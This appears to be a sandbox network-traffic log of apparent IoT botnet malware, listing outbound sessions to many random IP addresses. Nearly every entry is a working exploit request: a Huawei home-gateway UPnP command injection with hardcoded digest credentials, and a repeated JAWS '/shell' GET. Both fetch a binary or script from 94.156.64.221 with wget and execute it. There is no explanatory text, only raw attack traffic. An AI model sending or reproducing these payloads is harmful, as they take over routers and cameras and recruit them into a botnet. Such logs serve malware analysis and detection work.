Jun 1, 2024 18:15:55.263690948 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.23	47668	41.148.200.185	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.263798952 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.23	48562	177.213.21.177	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.264769077 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.23	56736	220.57.15.58	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.264787912 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.23	45868	205.243.6.97	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.264842987 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.23	48322	191.89.47.231	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.264883995 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.23	46744	172.56.24.244	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.264930010 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.23	50738	175.110.145.206	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.264950037 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.23	46430	53.177.52.181	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.264980078 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.23	47246	82.125.129.152	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265007973 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.23	33864	167.84.216.177	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265048981 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.23	49604	174.123.70.55	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265079021 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.23	36350	50.74.213.181	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265105963 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.23	51248	171.183.227.124	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265151024 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.23	58618	186.26.240.197	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265177011 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.23	39394	196.27.40.199	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265213013 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.23	45520	98.85.212.158	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265263081 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.23	43646	105.69.202.220	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265306950 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.23	57236	157.210.196.213	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265326023 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.23	49782	102.116.45.43	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265357018 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.23	55890	201.27.217.106	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265381098 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.23	55036	42.75.164.254	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265423059 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.23	56144	79.216.128.156	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265444994 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.23	59410	206.32.126.218	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265476942 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.23	45236	91.87.51.114	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265511990 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.23	46026	54.86.82.86	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265552044 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.23	42754	90.165.6.182	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265583992 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.23	46094	128.10.35.101	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265614986 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.23	56880	8.125.254.226	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265646935 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.23	44260	152.30.254.243	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265686989 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.23	51458	83.218.78.62	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265733957 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.23	49706	94.52.226.91	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265774965 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.23	53992	38.120.106.118	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265799046 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.23	53224	102.77.238.93	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265827894 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.23	46648	60.201.243.104	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265863895 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.23	37148	98.123.8.16	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265898943 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.23	55482	95.179.61.207	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265934944 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.23	60520	104.115.107.154	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265963078 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.23	32972	31.160.243.24	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.265996933 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.23	34700	96.191.196.7	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266035080 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.23	41658	128.197.243.4	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266067982 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.23	42032	172.152.35.55	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266093016 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.23	32978	146.172.113.113	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266133070 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.23	56890	61.112.73.122	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266159058 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.23	40980	18.61.236.189	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266192913 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.23	36378	12.230.123.8	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266247034 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.23	49578	48.82.38.9	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266285896 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.23	40972	192.241.94.64	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266307116 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.23	45156	124.126.158.225	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266346931 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.23	42736	14.179.235.7	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266377926 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.23	40428	161.254.82.15	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266407013 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.23	43606	13.35.43.213	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266443968 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.23	52190	201.88.211.171	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.266473055 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.23	48428	57.97.219.225	80

Timestamp	Bytes transferred	Direction	Data
